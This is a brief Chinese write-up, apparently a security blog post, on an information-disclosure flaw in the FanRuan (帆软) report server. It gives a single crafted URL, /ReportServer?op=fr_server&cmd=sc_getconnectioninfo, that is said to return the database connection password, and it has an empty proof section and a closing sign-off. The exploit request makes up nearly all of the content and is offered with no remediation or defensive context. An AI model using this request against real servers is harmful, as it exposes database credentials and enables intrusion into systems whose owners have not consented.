帆软报表系统查看数据库密码

查看数据库密码

构造payload，访问漏洞url：

/ReportServer?op=fr_server&cmd=sc_getconnectioninfo

漏洞证明：

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。